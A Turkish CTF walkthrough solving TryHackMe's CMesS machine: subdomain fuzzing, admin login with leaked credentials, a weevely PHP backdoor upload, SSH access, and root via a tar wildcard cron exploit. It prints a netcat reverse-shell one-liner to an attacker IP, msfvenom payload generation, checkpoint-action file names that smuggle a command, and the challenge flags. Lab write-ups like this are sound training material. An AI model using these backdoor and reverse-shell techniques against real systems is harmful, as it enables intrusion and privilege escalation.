Herkese selamlar dostlar. Bugünkü konumuzda TryHackMe'de bulunan CMesS adlı CTF' i çözeceğiz. CTF' e ulaşmak için buraya tıklayabilirsiniz. Burada bizden istenen iki bilgi var. Birincisi makinenin içine sızarak user.txt dosyasına ulaşmamız. İkincisi ise yetkimizi yükselterek root.txt dosyasına ulaşmamız. Hazırsanız vakit kaybetmeden başlayalım..
GEREKLİ AYARLAMALAR
İlk olarak yukarıda belirtildiği gibi makinenin ip adresini domain olarak /etc/hosts dosyasına ekleyeceğiz. Böylelikle ip adresi ile değil bir domain üzerinden ilerleyeceğiz.
echo '[makine_ip_adresi] cmess.thm' >> /etc/hosts
Ayrıca verilen uyarıyı da dikkate alarak ilerleyeceğiz. "Lütfen bu makinenin kaba kuvvet gerektirmediğini de unutmayın!"
TARAMA, TESPİT
Ayarlamayı yaptıktan sonra cmess.thm adresine gidiyoruz ve web sitesini inceliyoruz.
Web sitesini manuel olarak inceledikten sonra bir de dizin taraması yapalım. Yukarıda tespit edilen dizinlerde "admin" dizini hariç hepsi boş dizinler.
Login kısmında sql login bypass, noredirect tarzı herhangi bir açık yok. Şimdi ise subdomain taraması yapacağız.
wfuzz -c -w [wordlist yolu] -u http: //cmess.thm/ -H "HOST: FUZZ.cmess.thm"
Burada uzunluğu farklı olan doğru sonuçtur. Yani sitenin dev.cmess.thm adlı bir subdomaini mevcut. Buna erişmemiz için tekrar /etc/hosts dosyasına ekleme yapacağız.
Subdomaini ekledikten sonra adrese gidiyoruz ve karşımıza bir takım bilgiler çıkıyor.
Burada gördüğünüz gibi [email protected] mail adresinin admin panel şifresinin resetlendiği yazıyor. En altta ise yeni şifreyi bize veriyor. Login bilgilerini alıp admin panele giriyoruz.
Email: [email protected]
Pass: KPFTN_f2yxe%
SIZMA
Admin panele giriş yapıp birazcık dolaştıktan sonra "File Manager" bölümünü görüyoruz. Şimdi buradan backdoor atarak sisteme sızacağız. Ben backdoorumu weevely aracı ile oluşturacağım. Siz isterseniz netcat ile bir bağlantı da kurabilirsiniz.
weevely generate safak123 anka.php
Bu kod sayesinde safak123 parolasına sahip anka.php adında bir backdoor oluşturduk. Şimdi admin panele geri dönüp backdoorumuzu file manager kısmından upload ediyoruz ve dizinleri kontrol ederek anka.php dosyamızın yüklendiği yeri bulmaya çalışıyoruz.
Backdoorumuz assets klasörünün içine yüklenmiş. Şimdi weevely aracımız ile anka.php dosyamıza bağlanacağız.
weevely http: //cmess.thm/assets/anka.php safak123
Sisteme sızdıktan sonra dosyalarda dolaşmaya başlıyoruz. Herhangi bir bilgi, ipucu var mı diye ve /opt/ dizinin altında .password.bak adlı bir dosya ile karşılaşıyoruz. Burada andres kullanıcısının şifresinin yedeklendiğini görüyoruz. Burada elde ettiğimiz bilgiler ile ssh servisine andres kullanıcısı adı altında bağlanmaya çalışacağız.
ssh [email protected]
Pass: UQfsdCB7aAP6
SSH servisine bağlandıktan sonra ls dediğimizde direkt user.txt dosyasını görüyorsunuz. Cat ile user.txt dosyasını okuyarak bizden istenilen ilk bilgiye elde etmiş olduk.
user.txt: thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}
YETKİ YÜKSELTME
Sıradaki hedefimiz root yetkisi alarak root.txt dosyasına ulaşmamız. Bazı temel şeyleri kontrol ettikten sonra /etc/crontab'ı kontrol edelim. Kontrol ettikten sonra kendi ana klasörümüzde yazma izinlerimiz olduğundan, root olarak reverse_shell elde etmek için * işaretini kötüye kullanabiliriz. İlk olarak reverse shell yapmak için msfvenom ile payload oluşturuyorum.
msfvenom -p cmd/unix/reverse_netcat LHOST=[saldırgan_makine_ip] LPORT=80
Şimdi ise root olmak için makinedeki zafiyetten yaralanıyorum
echo "mkfifo /tmp/tjbtd; nc 192.168.238.128 80 0</tmp/tjbtd | /bin/sh >/tmp/tjbtd 2>&1; rm /tmp/tjbtd" > shell.sh
echo "" > "--checkpoint-action=exec=bash shell.sh"
echo "" > --checkpoint=1
Kodları yazdıktan sonra netcat ile 80 portunu dinlemeye alıyorum. Ve biraz bekledikten sonra bağlantımız geliyor.
root.txt: thm{9f85b7fdeb2cf96985bf5761a93546a2}
Böylelikle CTF makinemizi başarılı bir şekilde çözdük olduk.
Konumuzun sonuna geldik, okuduğunuz için teşekkürler. Başka bir CTF çözümünde görüşmek dileğiyle..
Son düzenleme: